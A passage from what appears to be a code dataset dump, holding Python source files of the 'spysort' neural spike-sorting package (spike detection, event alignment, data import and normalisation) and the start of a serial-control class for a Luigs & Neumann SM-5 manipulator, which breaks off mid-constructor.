np.arange(-before,after+1).\n \"\"\"\n win = np.array([1., 0., -1.])/2.\n dataD = np.apply_along_axis(convolution, 1, self.data, win)\n dataDD = np.apply_along_axis(convolution, 1, dataD, win)\n evts = self.mkEvents(otherPos=True, x=self.data, pos=positions)\n evtsD = self.mkEvents(otherPos=True, x=dataD, pos=positions)\n evtsDD = self.mkEvents(otherPos=True, x=dataDD, pos=positions)\n evts_median = np.apply_along_axis(np.median, 0, evts)\n evtsD_median = np.apply_along_axis(np.median, 0, evtsD)\n evtsDD_median = np.apply_along_axis(np.median, 0, evtsDD)\n return {\"center\": evts_median,\n \"centerD\": evtsD_median,\n \"centerDD\": evtsDD_median,\n \"centerD_norm2\": np.dot(evtsD_median, evtsD_median),\n \"centerDD_norm2\": np.dot(evtsDD_median, evtsDD_median),\n \"centerD_dot_centerDD\": np.dot(evtsD_median, evtsDD_median),\n \"center_idx\": np.arange(-self.before, self.after+1)}\n\n def predict_data(self, class_pos_jitter_list, centers_dictionary,\n nb_channels=4, data_length=300000):\n \"\"\" Predicts ideal data given a list of centers’ names, positions,\n jitters and a dictionary of centers.\n\n **Parameters**\n class_pos_jitter_list : a list of lists returned by\n classify_and_align_evt.\n\n centers_dictionary : a centers’ dictionary returned by\n mk_center_dictionary.\n\n nb_channels : the number of recording channels.\n\n data_length : the number of sampling points.\n\n **Returns**\n A matrix of ideal (noise free) data with nb_channels rows and\n data_length columns.\n \"\"\"\n res = np.zeros((nb_channels, data_length))\n for class_pos_jitter in class_pos_jitter_list:\n cluster_name = class_pos_jitter[0]\n if cluster_name != '?':\n center = centers_dictionary[cluster_name][\"center\"]\n centerD = centers_dictionary[cluster_name][\"centerD\"]\n centerDD = centers_dictionary[cluster_name][\"centerDD\"]\n jitter = class_pos_jitter[2]\n pred = center + jitter*centerD + jitter**2/2*centerDD\n pred = pred.reshape((nb_channels, len(center)//nb_channels))\n idx = (centers_dictionary[cluster_name][\"center_idx\"] +\n class_pos_jitter[1])\n within = np.bitwise_and(0 <= idx, idx < data_length)\n kw = idx[within]\n res[:, kw] += pred[:, within]\n return res\n\n def rss_for_alignment(self, delta, evt, center, centerD, centerDD):\n return sum((evt - center - delta*centerD - delta**2/2*centerDD)**2)\n\n def rssD_for_alignment(self, delta, evt, center, centerD, centerDD):\n h = evt - center\n return (-2*np.dot(h, centerD) + 2*delta*(np.dot(centerD, centerD) -\n np.dot(h, centerDD)) + 3*delta**2*np.dot(centerD, centerDD) +\n delta**3*np.dot(centerDD, centerDD))\n\n def rssDD_for_alignment(self, delta, evt, center, centerD, centerDD):\n h = evt - center\n return (2*(np.dot(centerD, centerD) - np.dot(h, centerDD)) +\n 6*delta*np.dot(centerD, centerDD) +\n 3*delta**2*np.dot(centerDD, centerDD))\n", "id": "4973086", "language": "Python", "matching_score": 4.731124401092529, "max_stars_count": 0, "path": "spysort/Events/alignment.py" }, { "content": "import copy\nimport numpy as np\nimport matplotlib.pylab as plt\nfrom spysort.Events import spikes\nfrom spysort.functions import mad, cut_sgl_evt\n\n\nclass build_events(spikes.spike_detection):\n \"\"\" Create all the spike events \"\"\"\n def __init__(self, data, positions, win, before=14, after=30):\n \"\"\" Reads the raw data applies a filtering and detects all the possible\n events\n\n **Parameters**\n\n data : double\n A list of numpy arrays containing the normalized data\n\n positions : int\n A numpy array that contains spike events positions\n\n win : double\n A numpy array contains the filter window that is used in filtering\n\n before : int\n The number of points before of an peak\n\n after : int\n The number of points after a peak (both parameters, before and\n after, define the size of an event segment)\n\n \"\"\"\n self.before = before\n self.after = after\n\n # Convert the data list to a numpy array\n self.data = np.asarray(data)\n # Data filtering\n self.positions = positions\n\n def mkEvents(self, otherPos=False, x=[], pos=[], before=14, after=30):\n \"\"\" Constructs a list of all the events from the input data.\n\n **Parameters**\n\n otherPos : boolean\n It defines if the user wants to use a different spike time\n list than the one provided by the constructor of the class\n\n x : double (array)\n Input data\n\n\n pos : int (list)\n The new list of event positions defined by the user\n\n before : int\n The number of points before of an peak\n\n after : int\n The number of points after a peak (both parameters, before and\n after, define the size of an event segment)\n\n **Returns**\n A matrix with as many rows as events and whose rows are the cuts\n on the different recording sites glued one after the other.\n \"\"\"\n if otherPos is False:\n res = np.zeros((len(self.positions),\n (self.before+self.after+1) * self.data.shape[0]))\n for i, p in enumerate(self.positions):\n res[i, :] = cut_sgl_evt(self.data, p, self.before, self.after)\n return copy.deepcopy(res)\n else:\n res = np.zeros((len(pos),\n (before+after+1) * x.shape[0]))\n for i, p in enumerate(pos):\n res[i, :] = cut_sgl_evt(x, p, before, after)\n return copy.deepcopy(res)\n\n def mkNoise(self, otherPos=False, x=[], safety_factor=2, size=2000):\n \"\"\" Computes the noise events\n\n **Parameters**\n\n otherPos : boolean\n Indicates if the current positions will be used or the user\n will define a new positions array\n\n x : double\n Input data\n\n safety_factor : int\n A number by which the cut length is multiplied and which\n sets the minimal distance between the reference times\n\n size : int\n The maximal number of noise events one wants to cut\n\n **Returns**\n\n A matrix with as many rows as noise events and whose rows are\n the cuts on the different recording sites glued one after the\n other.\n \"\"\"\n if otherPos is False:\n x = self.data\n else:\n x = x\n\n sl = self.before + self.after + 1 # cut length\n i1 = np.diff(self.positions) # inter-event intervals\n minimal_length = round(sl*safety_factor)\n # Get next the number of noise sweeps that can be\n # cut between each detected event with a safety factor\n nb_i = (i1 - minimal_length)//sl\n # Get the number of noise sweeps that are going to be cut\n nb_possible = min(size, sum(nb_i[nb_i > 0]))\n res = np.zeros((int(nb_possible), int(sl * x.shape[0])))\n # Create next a list containing the indices of the inter event\n # intervals that are long enough\n idx_l = [i for i in range(len(i1)) if nb_i[i] > 0]\n # Make next an index running over the inter event intervals\n # from which at least one noise cut can be made\n interval_idx = 0\n # noise_positions = np.zeros(nb_possible,dtype=numpy.int)\n n_idx = 0\n while n_idx < nb_possible:\n within_idx = 0 # an index of the noise cut with a long\n # enough interval\n i_pos = int(self.positions[idx_l[interval_idx]] + minimal_length)\n # Variable defined next contains the number of noise cuts\n # that can be made from the \"currently\" considered long-enough\n # inter event interval\n n_at_interval_idx = nb_i[idx_l[interval_idx]]\n while within_idx < n_at_interval_idx and n_idx < nb_possible:\n res[n_idx, :] = cut_sgl_evt(x, i_pos, self.before, self.after)\n ## noise_positions[n_idx] = i_pos\n n_idx += 1\n i_pos += sl\n within_idx += 1\n interval_idx += 1\n return res\n\n def sieve(self, func, x, *args):\n \"\"\" It sieves the events x in order to get the clean ones.\n\n **Parameters**\n\n func : function\n It's a user defined function, that defines the cleaning method\n of the events\n\n x : double\n The input vector that is sieved\n\n *args : arguments (double)\n It's actually the threshold of the sieving.\n\n **Returns**\n\n A vector containing the cleaning events (it depends on the\n underlying function each time).\n \"\"\"\n tmp = func(x, *args)\n return tmp\n\n def plotMadMedian(self, events, figsize=(5, 5), save=False,\n figname='mam-median-evts', figtype='png'):\n \"\"\" Plots the median and the medan absolute value of the input\n array events\n\n **Parameters**\n\n events : double\n The spike events\n\n figsize : float\n A tuple of the sizes of the figure\n\n save : boolean\n Indicates if the figure will be saved\n\n figname : string\n The name of the saved figure\n\n figtype : string\n The type of the saved figure (supports png and pdf)\n \"\"\"\n events_median = np.apply_along_axis(np.median, 0, events)\n events_mad = np.apply_along_axis(mad, 0, events)\n\n plt.figure(figsize=figsize)\n plt.plot(events_median, color='red', lw=2)\n plt.axhline(y=0, color='black')\n for i in np.arange(0, 400, 100):\n plt.axvline(x=i, c='k', lw=2)\n for i in np.arange(0, 400, 10):\n plt.axvline(x=i, c='grey')\n plt.plot(events_median, 'r', lw=2)\n plt.plot(events_mad, 'b', lw=2)\n if save:\n if figtype == 'pdf':\n plt.savefig(figname+'pdf', dpi=90)\n else:\n plt.savefig(figname+'png')\n\n def plotEvents(self, x, r=(0, 200), figsize=(5, 5), save=False,\n figname='mam-median-evts', figtype='png'):\n \"\"\" Plots all the computed events\n\n **Parameters**\n\n x : double\n A list of the input data\n\n r : int\n A tuple contains the range of the plotting data\n\n figsize : float\n A tuple of the sizes of the figure\n\n save : boolean\n Indicates if the figure will be saved\n\n figname : string\n The name of the saved figure\n\n figtype : string\n The type of the saved figure (supports png and pdf)\n \"\"\"\n x = np.asarray(x)\n plt.figure(figsize=figsize)\n for i in range(r[0], r[1]):\n plt.plot(x[i, :], 'k', lw=0.1)\n plt.plot(np.apply_along_axis(np.median, 0, x[r[0]:r[1], :]),\n 'r', lw=1)\n plt.plot(np.apply_along_axis(mad, 0, x[r[0]:r[1], :]), 'b',\n lw=1)\n plt.axvspan(45, 89, fc='grey', alpha=0.5, edgecolor='none')\n plt.axvspan(135, 179, fc='grey', alpha=0.5, edgecolor='none')\n", "id": "7785452", "language": "Python", "matching_score": 3.437817096710205, "max_stars_count": 0, "path": "spysort/Events/events.py" }, { "content": "import copy\nimport numpy as np\nfrom scipy import signal\nimport scipy.stats as st\n\ncurr_pos, cp, fname = 0, 0, 'frame'\n\n\ndef mad(x):\n \"\"\" Returns the median absolute deviation.\n\n **Parameters**\n\n x : double\n Data array\n\n **Returns**\n\n The median absolute deviation of input signal x.\n \"\"\"\n return 1.4826 * np.median(np.abs(x - np.median(x)))\n\n\ndef quantiles(x, prob=[0, 0.25, 0.5, 0.75, 1]):\n \"\"\" Computes the five quantiles of the input vector,\n prob is a list of quantiles to compute.\n\n **Parameters**\n\n x : double\n Data array\n\n prob : double\n List of quantiles to compute\n\n **Returns**\n\n A vector containing all the computed quantilies for the input signal x.\n \"\"\"\n return st.mstats.mquantiles(x, prob=prob)\n\n\ndef convolution(x, window):\n \"\"\" A scipy fftconvolution wrapper function.\n\n **Parameters**\n\n x : double\n Data array\n\n window : double\n Filter window\n\n **Returns**\n\n The convolution of the input signal with a predefined window (win).\n \"\"\"\n return signal.fftconvolve(x, window, 'same')\n\n\ndef f(x, median, mad, thr):\n \"\"\" Auxiliary function, used by good_evts_fct.\n\n **Parameters**\n\n x : double\n Data array\n\n median : double\n Array contains median values\n\n mad : double\n Array contains mad values\n\n thr : double\n Filtering threshold\n\n **Returns**\n A numpy array containing the data for which the |X-median(X)|/mad(X) <\n thr.\n \"\"\"\n return np.ndarray.all(np.abs((x - median)/mad) < thr)\n\n\ndef good_evts_fct(x, thr=3):\n \"\"\" Clean the spike events times.\n\n **Parameters**\n\n x : double\n Data array\n\n thr : double\n Threshold of filtering\n\n **Returns**\n A vector containing all the detected good events.\n \"\"\"\n samp_median = np.apply_along_axis(np.median, 0, x)\n samp_mad = np.apply_along_axis(mad, 0, x)\n above = samp_median > 0\n\n samp_r = copy.copy(x)\n\n for i in range(len(x)):\n samp_r[i][above] = 0\n\n samp_median[above] = 0\n res = np.apply_along_axis(f, 1, samp_r, samp_median,\n samp_mad, thr)\n return res\n\n\ndef cut_sgl_evt(x, position, before, after):\n \"\"\" Draw a singles event from the input data.\n\n **Parameters**\n\n x : double (array)\n Input data\n\n position : int\n The index (location) of the (peak of) the event.\n\n before : int\n How many points should be within the cut before the reference\n index / time given by position.\n\n after : int\n How many points should be within the cut after the reference\n index / time given by position.\n\n **Returns**\n A vector with the cuts on the different recording sites glued one after\n the other.\n \"\"\"\n ns = x.shape[0] # Number of recording sites\n dl = x.shape[1] # Number of sampling points\n cl = before + after + 1 # The length of the cut\n cs = cl * ns # The 'size' of a cut\n cut = np.zeros((ns, cl))\n idx = np.arange(-before, after + 1)\n keep = idx + position\n within = np.bitwise_and(0 <= keep, keep < dl)\n kw = keep[within]\n cut[:, within] = x[:, kw].copy()\n return cut.reshape(cs)\n", "id": "11052971", "language": "Python", "matching_score": 2.3009753227233887, "max_stars_count": 7, "path": "spysort/functions.py" }, { "content": "import copy\nimport collections\nimport numpy as np\nimport matplotlib.pylab as plt\nfrom scipy.stats.mstats import mquantiles\nfrom spysort.functions import mad, quantiles, curr_pos\n# from functions import mad, quantiles, curr_pos\n\nData_timeseries = collections.namedtuple('Data_timeseries', 'Data Timestamps')\n\n\nclass read_data(object):\n \"\"\" Fundamental methods for read, normalize and plot raw data \"\"\"\n\n def __init__(self, input_path, sampling_freq):\n \"\"\" Reads the raw data and returns the data, the data length and a\n timestamp array.\n\n Args:\n Input (list of str) : Contains the full path of the input data file\n locations.\n\n freq (double) : The sampling frequency of the original data.\n\n Returns:\n data_len (int) : The size of the input data.\n\n data (list) : The input data.\n\n timebase (int array) : Timestamps for facilitating plotting.\n\n timeseries (list) : A super-list that contains the raw data and the\n timestamps.\n\n Raises:\n\n \"\"\"\n self._set_inpath(input_path)\n self._set_freq(sampling_freq)\n\n # Check the leght of all the input channels\n if not len(np.unique(map(len,\n map(lambda n: np.fromfile(n, dtype=np.double),\n self.inpath)))):\n print 'Data dimensions mismatch'\n\n # Data length\n self.data_len = np.unique(map(len, map(\n lambda n: np.fromfile(n, dtype=np.double),\n self.inpath)))[0]\n\n # Loading the raw data from different files\n self.data = []\n for i, v in enumerate(map(lambda n: np.fromfile(n, dtype=np.double),\n self.inpath)):\n self.data.append(v)\n\n self.timebase = np.arange(0, self.data_len)/self.freq\n self.timeseries = copy.copy([self.data, list(self.timebase)])\n Data_timeseries(self.data, self.timebase)\n\n def renormalization(self):\n \"\"\" Data renormalization (divise by mad) \"\"\"\n mad_values = np.apply_along_axis(mad, 1, self.data)\n median_values = np.apply_along_axis(np.median, 1, self.data)\n return copy.deepcopy([((self.data[i] - median_values[i])/mad_values[i])\n for i in range(len(self.data))])\n\n def subseting(self, begin=0, end=1):\n \"\"\" Checks if a subset of the input data is continuous.\n Args:\n\n Kwargs:\n begin (int) : The first element of data points to be selected.\n\n end (int) : The last element of data points.\n\n Returns:\n A copy of a list that contains the data within the range\n [begin,end].\n\n Raises:\n \"\"\"\n Dx = [np.sign(np.abs(np.diff(self.data[i][begin:end], 1))) for i in\n xrange(len(self.data))]\n check = [all(Dx[i] == 1) for i in xrange(len(Dx))]\n if all(check) is True:\n return copy.deepcopy([self.data[i][begin:end] for i in\n range(np.abs(begin-end))])\n else:\n print 'The resulting array contains not continuous data'\n\n def selectChannels(self, channels, begin=0, end=1):\n \"\"\" Selects a subset of channels and checks all the necessary\n constraints.\n\n Args:\n channels (int) : The number of channels to be selected.\n\n Kwargs:\n begin (int) : The first element of data points to be selected.\n\n end (int) : The last element of data points.\n\n Returns:\n A list that contains data from a specified number of channels and\n within a predefined range [begin, end].\n\n Raises:\n \"\"\"\n stop = len(self.data)\n\n if len(channels) > stop:\n print 'Requested number of channels exceeded number of available'\n print 'channels!'\n elif any([channels[i] > stop for i in range(len(channels))]):\n print 'Requested number of channels exceeded number of available'\n print 'channels!'\n elif any([channels[i] < 0 for i in range(len(channels))]):\n print 'No negative channels!'\n else:\n if (begin == 0) & (end == self.data_len):\n return copy.deepcopy([self.data[i] for i in channels])\n else:\n return copy.deepcopy([self.subseting(begin, end)[i] for i in\n range(self.data_len)])\n\n def summary(self):\n \"\"\" Prints the mad, the median and the quantiles of the data \"\"\"\n print 'MAD :'\n print np.apply_along_axis(mad, 1, self.data)\n print 'Median :'\n print np.apply_along_axis(np.median, 1, self.data)\n print 'Quantiles: '\n print np.apply_along_axis(quantiles, 1, self.data)\n\n def fiveNumbers(self):\n \"\"\" Returns the five numbers, the minimum, the first quartile, the\n median, the third quartile and the maximum \"\"\"\n np.set_printoptions(precision=3)\n return [mquantiles(i, prob=[0, 0.25, 0.5, 0.75, 1]) for i in self.data]\n\n def checkStdDiv(self):\n \"\"\" Checks if the raw data have been divided by any std \"\"\"\n return [np.std(i) for i in self.data]\n\n def discretStepAmpl(self):\n \"\"\" Returns the discretization step amplitute of raw data \"\"\"\n return [np.min(np.diff(np.sort(np.unique(i)))) for i in self.data]\n\n def checkMad(self):\n \"\"\" Checks if the data have been properly renormalized and MAD works\n fine \"\"\"\n from scipy.stats import norm\n probs = np.arange(0.01, 0.99, 0.001)\n dataQ = map(lambda x:\n mquantiles(x, prob=probs), self.data)\n dataQsd = map(lambda x:\n mquantiles(x/np.std(x), prob=probs), self.data)\n qq = norm.ppf(probs)\n\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.plot(np.linspace(-3, 3, 100), np.linspace(-3, 3, 100), c='grey')\n colors = ['black', 'orange', 'blue', 'red']\n for i, y in enumerate(dataQ):\n ax.plot(qq, y, color=colors[i])\n\n for i, y in enumerate(dataQsd):\n ax.plot(qq, y, color=colors[i], linestyle=\"dashed\")\n\n ax.set_xlabel('Normal quantiles')\n ax.set_ylabel('Empirical quantiles')\n\n def plotData(self, x, figsize=(9, 8), save=False, figname='WholeRawData',\n figtype='png'):\n \"\"\" Plots the data. Can interact with the user by supporting scrolling\n and selective printing of data segments.\n\n Args:\n x (list) : A list of the input data\n\n Kwargs:\n figsize (tuple of floats) : Size of the figure.\n\n save (boolean) : Indicates if the figure will be saved.\n\n figname (str) : The name of the file in which the figure will be\n saved.\n\n figtype (str) : The type of the file in which the figure will be\n saved (supports png and pdf).\n\n Returns:\n\n Raises:\n \"\"\"\n x = np.asarray(x)\n step = 2000\n\n def key_event(e):\n global curr_pos, fname\n if e.key == 'right':\n curr_pos = curr_pos + step\n elif e.key == 'left':\n curr_pos = curr_pos - step\n elif e.key == 'ctrl+p':\n fname = raw_input('Please enter the name of this frame: ')\n if figtype == 'pdf':\n plt.savefig(fname+'.pdf', dpi=90)\n else:\n plt.savefig(fname+'.png')\n else:\n return\n ax.cla()\n A = 0\n for i in range(x.shape[0]):\n ax.plot(self.timebase[curr_pos:curr_pos+step],\n x[i, curr_pos:curr_pos+step] - A, 'k')\n A += 15\n ax.set_yticks([])\n fig.canvas.draw()\n\n fig = plt.figure(figsize=figsize, frameon=False)\n fig.canvas.mpl_connect('key_press_event', key_event)\n ax = fig.add_subplot(111)\n B = 0\n for i in range(x.shape[0]):\n ax.plot(self.timebase[curr_pos:curr_pos+step],\n x[i, curr_pos:curr_pos+step] - B, 'k')\n B += 15\n ax.set_xlabel('Time (s)')\n ax.set_xlim([self.timebase[curr_pos:curr_pos+step].min(),\n self.timebase[curr_pos:curr_pos+step].max()])\n ax.set_yticks([])\n idx_ = ax.get_xticks([])\n tmp_ = [str(i/10000.0) for i in idx_]\n ax.set_xticklabels(tmp_)\n ax.spines['right'].set_visible(False)\n ax.spines['top'].set_visible(False)\n ax.spines['left'].set_visible(False)\n ax.xaxis.set_ticks_position('bottom')\n\n if save:\n if figtype == 'pdf':\n plt.savefig(figname+'pdf', dpi=90)\n else:\n plt.savefig(figname+'png')\n\n \"\"\" Accessors \"\"\"\n def _set_inpath(self, input_path):\n \"\"\" Accessor for input path.\n\n Args:\n input_path (list) : Full input paths where the input files are\n located.\n Returns:\n inpath (list) : Same as input_path but this is a class attribute.\n\n Raises:\n ValueError if the list contains no strings.\n \"\"\"\n if all(isinstance(item, basestring) for item in input_path) is False:\n raise ValueError('Input is not a string!')\n self.inpath = input_path\n\n def _set_freq(self, sampling_freq):\n \"\"\" Accessor for sampling frequency.\n\n Args:\n sampling_freq (double) : Sampling frequency of the input raw data.\n\n Returns:\n freq (double) : Same as sampling_freq, but this is a class\n attribute.\n Raises:\n ValueError if the frequency is not a double/float.\n \"\"\"\n if isinstance(sampling_freq, np.float) is False:\n raise ValueError(\"freq is not a float!\")\n self.freq = sampling_freq\n\n \"\"\" Properties \"\"\"\n input_path = property(_set_inpath,\n doc='The full path where input files are.'\n )\n\n sampling_freq = property(_set_freq,\n doc=\"The sampling frequency of the input data.\"\n )\n", "id": "3958674", "language": "Python", "matching_score": 5.6834611892700195, "max_stars_count": 7, "path": "spysort/ReadData/import_data.py" }, { "content": "import copy\nimport numpy as np\nimport matplotlib.pylab as plt\n# from functions import convolution, mad, curr_pos, cp\nfrom spysort.functions import mad, convolution, curr_pos, cp\n\n\nclass spike_detection():\n \"\"\" Performs the spike detection over all the raw input data \"\"\"\n def __init__(self, data):\n \"\"\" Reads the input normalized data.\n\n **Parameters**\n\n data : double\n A list of size two. The first element contains all the\n normalized data and the second one the timestamps\n \"\"\"\n self.data = data[0]\n\n # Check if the data are normalized\n if all(np.not_equal(np.apply_along_axis(mad, 1, self.data), 1)):\n print 'Critical Error: Data are not normalized'\n\n self.timebase = np.asarray(data[1])\n\n def filtering(self, threshold, window):\n \"\"\" Filters the raw data using a threshold value.\n\n **Parameters**\n\n threshold : double\n Filtering threshold value\n\n window : double (array)\n The actual filter (boxcar, butter, wiener, etc)\n\n **Returns**\n A vector containing the filtered data.\n \"\"\"\n filtered_data = np.apply_along_axis(convolution, 1, self.data,\n window)\n mad_value = np.apply_along_axis(mad, 1, filtered_data)\n filtered_data = [filtered_data[i] / mad_value[i] for i in\n range(len(self.data))]\n for i in range(len(self.data)):\n filtered_data[i][filtered_data[i] < threshold] = 0\n return filtered_data\n\n def peaks(self, x, minimalDist=15, notZero=1e-3, kind='aggregate'):\n \"\"\" Detects the peaks over filtered data\n\n **Parameters**\n x : double\n Input filtered data\n\n minimalDist : int\n The minimal distance between two successive peaks.\n (only putative maxima that are farther apart than minimalDist\n sampling points are kept)\n\n notZero : double\n The smallest value above which the absolute value of the\n derivative is considered not null.\n\n kind : string\n aggregate : performs the detection on the sum of the input data\n othr : performs the detection on each channel separately\n\n **Returns**\n An array of (peak) indices is returned.\n\n \"\"\"\n win = np.array([1, 0, -1])/2.\n x = np.asarray(x)\n if kind == 'aggregate':\n tmp_x = x.sum(0)\n dx = convolution(tmp_x, win)\n dx[np.abs(dx) < notZero] = 0\n dx = np.diff(np.sign(dx))\n pos = np.arange(len(dx))[dx < 0]\n return pos[:-1][np.diff(pos) > minimalDist]\n elif kind == 'full':\n pos = []\n dx = np.apply_along_axis(convolution, 1, x, win)\n dx[:, np.abs(dx[:, ...]) < notZero] = 0\n dx = np.diff(np.sign(dx))\n for i in range(dx.shape[0]):\n tmp = np.arange(len(dx[i]))[dx[i, ...] < 0]\n pos.append(tmp[:-1][np.diff(tmp) > minimalDist])\n return copy.copy(pos)\n elif kind == 'simple':\n from scipy.signal import fftconvolve\n dx = fftconvolve(x, win, 'same')\n dx[np.abs(dx) < notZero] = 0\n dx = np.diff(np.sign(dx))\n pos = np.arange(len(dx))[dx < 0]\n return pos[:-1][np.diff(pos) > minimalDist]\n else:\n print 'You have to choose either the aggregate or the full mode'\n\n def plotFilteredData(self, x, y, thrs, figsize=(9, 8), save=False,\n figname='candidate_peaks', figtype='png'):\n \"\"\" Plots the raw data vs the filtered ones according to the rawData\n plot method.\n\n **Parameters**\n\n x : double\n A list of the input data\n\n y : int\n A list of the filtered data\n\n thrs : double\n The filtering threshold value\n\n figsize : float\n A tuple of the sizes of the figure\n\n save : boolean\n Indicates if the figure will be saved\n\n figname : string\n The name of the saved figure\n\n figtype : string\n The type of the saved figure (supports png and pdf)\n \"\"\"\n x = np.asarray(x)\n y = np.asarray(y)\n step = 2000\n\n def key_event(e):\n global curr_pos, fname\n if e.key == 'right':\n curr_pos = curr_pos + step\n elif e.key == 'left':\n curr_pos = curr_pos - step\n elif e.key == 'ctrl+p':\n fname = raw_input('Please enter the name of this frame: ')\n if figtype == 'pdf':\n plt.savefig(fname+'.pdf', dpi=90)\n else:\n plt.savefig(fname+'.png')\n else:\n return\n ax.cla()\n A = 0\n for i in range(x.shape[0]):\n ax.plot(self.timebase[curr_pos:curr_pos+step],\n x[i, curr_pos:curr_pos+step] - A, 'k')\n ax.plot(self.timebase[curr_pos:curr_pos+step],\n y[i, curr_pos:curr_pos+step] - A, 'r')\n ax.axhline(thrs - A, c='k', ls='--')\n A += 15\n ax.set_yticks([])\n fig.canvas.draw()\n\n B = 0\n fig = plt.figure(figsize=figsize, frameon=False)\n fig.canvas.mpl_connect('key_press_event', key_event)\n ax = fig.add_subplot(111)\n for i in range(x.shape[0]):\n ax.plot(self.timebase[curr_pos:curr_pos+step],\n x[i, curr_pos:curr_pos+step] - B, 'k')\n ax.plot(self.timebase[curr_pos:curr_pos+step],\n y[i, curr_pos:curr_pos+step] - B, 'r')\n ax.axhline(thrs - B, c='k', ls='--')\n B += 15\n ax.set_xlabel('Time (s)')\n ax.set_xlim([self.timebase[curr_pos:curr_pos+step].min(),\n self.timebase[curr_pos:curr_pos+step].max()])\n ax.set_yticks([])\n idx_ = ax.get_xticks([])\n tmp_ = [str(i/10000.0) for i in idx_]\n ax.set_xticklabels(tmp_)\n\n ax.spines['right'].set_visible(False)\n ax.spines['top'].set_visible(False)\n ax.spines['left'].set_visible(False)\n ax.xaxis.set_ticks_position('bottom')\n\n if save:\n if figtype == 'pdf':\n plt.savefig(figname+'pdf', dpi=90)\n else:\n plt.savefig(figname+'png')\n\n def plotPeaks(self, x, y, figsize=(9, 8), save=False, figname='peaks',\n figtype='png'):\n \"\"\" Plots the filtered data (in black) and the detected peaks\n (in red).\n\n **Parameters**\n\n x : double\n A list of the input data\n\n y : int\n A list of peak positions\n\n figsize : float\n A tuple of the sizes of the figure\n\n save : boolean\n Indicates if the figure will be saved\n\n figname : string\n The name of the saved figure\n\n figtype : string\n The type of the saved figure (supports png and pdf)\n \"\"\"\n x = np.asarray(x)\n y = np.asarray(y, dtype='int')\n step = 2000\n\n def key_event(e):\n global cp, fname\n if e.key == 'right':\n cp = cp + step\n elif e.key == 'left':\n cp = cp - step\n elif e.key == 'ctrl+p':\n fname = raw_input('Please enter the name of this frame: ')\n if figtype == 'pdf':\n plt.savefig(fname+'.pdf', dpi=90)\n else:\n plt.savefig(fname+'.png')\n else:\n return\n ax.cla()\n A = 0\n for i in range(x.shape[0]):\n ax.plot(self.timebase[cp:cp+step], x[i, cp:cp+step] - A, 'k')\n idx = (y > cp) & (y < cp+step)\n ax.plot(self.timebase[y[idx]], x[i, y[idx]]\n - A, 'ro')\n A += 15\n ax.set_yticks([])\n fig.canvas.draw()\n\n B = 0\n fig = plt.figure(figsize=figsize, frameon=False)\n fig.canvas.mpl_connect('key_press_event', key_event)\n ax = fig.add_subplot(111)\n for i in range(x.shape[0]):\n ax.plot(self.timebase[cp:cp+step], x[i, cp:cp+step] - B, 'k')\n idx = (y > cp) & (y < cp+step)\n ax.plot(self.timebase[y[idx]], x[i, y[idx]] - B, 'ro')\n B += 15\n ax.set_xlabel('Time (s)')\n idx_ = ax.get_xticks([])\n tmp_ = [str(i/10000.0) for i in idx_]\n ax.set_xticklabels(tmp_)\n\n ax.set_xlim([self.timebase[cp:cp+step].min(),\n self.timebase[cp:cp+step].max()])\n ax.set_yticks([])\n ax.spines['right'].set_visible(False)\n ax.spines['top'].set_visible(False)\n ax.spines['left'].set_visible(False)\n ax.xaxis.set_ticks_position('bottom')\n\n if save:\n if figtype == 'pdf':\n plt.savefig(figname+'pdf', dpi=90)\n else:\n plt.savefig(figname+'png')\n", "id": "7102290", "language": "Python", "matching_score": 1.5633797645568848, "max_stars_count": 7, "path": "spysort/Events/spikes.py" }, { "content": "# LandNSM5 : A python class for communicating with the Luigs & Neumann SM-5 control box.\r\n# \r\n# LandNSM5 implements a class for communicating with a Luigs & Neumann SM-5\r\n# control box to control the manipulators. The SM-5 must be connected with \r\n# a USB cable.\r\n# The SM-7 or SM-8-4 control boxes might be accessed similarly, but this \r\n# has not been tested. \r\n# \r\n#\r\n# This class uses the python \"serial\" package which allows for communication\r\n# with serial devices through 'write' and 'read'. \r\n# The communication properties (BaudRate, Terminator, etc.) are \r\n# set when invoking the serial object with serial.Serial(..). For the SM-5:\r\n# The Baud rate is 38400 Baud, 8 Data bit, NoParity and 1 Stopbit after \r\n# switch power on (see 'Interface description V1.8.pdf' manual). \r\n#\r\n#\r\n# Methods:\r\n# Create the object. The object is opened with serial.Serial.\r\n# obj = LandNSM5()\r\n#\r\n# Various functions from the manual are implemented such as\r\n# - goSteps()\r\n# - stepSlowDistance(...)\r\n#\t- goVariableFastToAbsolutePosition(...)\r\n#\t- goVariableSlowToAbsolutePosition(...)\r\n# \t- goVariableFastToRelativePosition(...)\r\n#\t- stepIncrement(...)\r\n# \t- stepDecrement(...)\r\n# \t- switchOffAxis(...)\r\n#\t- switchOnAxis(...)\r\n#\t- setAxisToZero(...)\r\n#\t- getPosition(...)\r\n#\r\n#\tSee below for required input arguments. \r\n#\tFuther functions can be easily implemented from the manual following the \r\n#\tstructure of the class fuctions. \r\n#\r\n# Properties:\r\n# verbose - The level of messages displayed (0 or 1). \r\n#\r\n#\r\n# Example session:\r\n#\r\n#In [1]: import LandNSM5_1\r\n#\r\n#In [2]: sm5 = LandNSM5_1.LandNSM5()\r\n# Serial<id=0x98b0860, open=True>(port='COM5', baudrate=38400, bytesize=8, parity='N', stopbits=1, timeout=1, xonxoff=False, rtscts=False, dsrdtr=False)\r\n# SM5 ready\r\n#\r\n#In [3]: pos = sm5.getPosition(1,'x')\r\n# Establish connection to SM5 . established\r\n# send 0101 16010101011021 16 33\r\n# done\r\n\r\n# In [4]: print pos\r\n# -3481.796875\r\n\r\n# In [5]: sm5.goVariableFastToRelativePosition(1,'x',-15.)\r\n# Establish connection to SM5 . established\r\n# send 004a 16004a0501000070C16B65 107 101\r\n# done\r\n# \r\n# In [6]: del sm5\r\n#\r\n#\r\n# <NAME>\r\n# <EMAIL>\r\n# v1 2014-09-23\r\n#\r\n#\r\n\r\nimport serial\r\nimport struct\r\nimport time \r\nimport sys\r\nfrom numpy import * \r\nimport binascii\r\nimport ctypes\r\n\r\n#################################################################\r\n# Class which allows interaction with the Luigs and Neumann manipulator SM5\r\nclass LandNSM5 :\r\n\t#################################################################\r\n\t# constructor\r\n\tdef __init__(self):\r\n\t\tself.verbose = 0 # level of messages\r\n\t\tself.timeOut = 1 # timeout in sec\r\n\t\tself.establishConnectionHold = 3. # time in seconds a connection remains established\r\n\t\tself.sleepTime = 0.1\r\n\t\tself.maxLoops = 10\r\n\t\t# make sure connection is established at the first call\r\n\t\tself.timeWhenEstablished = time.time() - self.establishConnectionHold\r\n\t\t# initialize serial connection to 